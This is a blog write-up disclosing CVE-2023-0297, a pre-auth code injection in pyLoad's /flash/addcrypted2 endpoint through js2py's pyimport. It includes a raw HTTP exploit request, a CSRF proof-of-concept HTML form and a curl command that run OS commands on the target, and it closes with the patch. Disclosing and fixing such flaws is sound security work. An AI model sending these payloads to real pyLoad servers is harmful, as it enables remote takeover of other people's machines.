
CVE-2023-0297: The Story of Finding Pre-auth RCE in pyLoad
The Story of Finding Pre-auth RCE in pyLoad
A code injection vulnerability in pyLoad versions prior to 0.5.0b3.dev31 leads to pre-auth RCE by abusing js2py's functionality.
You can find the report here and exploit code here.
pyLoad is an OSS download manager written in Python and manageable via web interface. Its GitHub repository has approx. 2.8k stars as of Jan 9th 2023.
While I was auditing pyLoad's source code, the following code caught my eyes:
jk = eval_js(f"{jk} f()")
The definition of eval_js function is as follows:
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
eval_js(f"{jk} f()") uses js2py's functionality which runs JavaScript code f"{jk} f()" where jk parameter is passed by a request parameter:
jk = flask.request.form["jk"]
Therefore you can run arbitrary JavaScript code by requesting the endpoint.
However, how can you abuse it? Since in the js2py.eval_js() context neither XMLHttpRequest, fetch nor require (like node.js) are not defined so SSRF or reading local files are not a thing.
After spending some time, I found a fancy js2py's functionality:
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:
>>> x = """pyimport urllib;
var result = urllib.urlopen('https://www.google.com/').read();
console.log(result.length)
"""
>>> js2py.eval_js(x)
18211
undefined
By using this functionality, you can use Python libraries in js2py.eval_js() context! Surprisingly pyimport is enabled by default. :o
I tried simple code that runs OS command by using pyimport:
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory
$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'
$ ls /tmp/pwnd
/tmp/pwnd
As expected, touch /tmp/pwnd was executed!
By sending the following request, the same thing would happen in the target host:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
;f=function%20f2(){}; part in jk parameter is necessary as this endpoint runs eval_js(f"{jk} f()"). If not present, injected code won't get executed due to name 'f' is not defined error.
Note that a cookie and CSRF token are not present in the request. It means that:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target>/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
Just disable pyimport functionality.
import js2py
+js2py.disable_pyimport()
Thanks to hunr.dev team and a pyLoad maintainer for quick responses!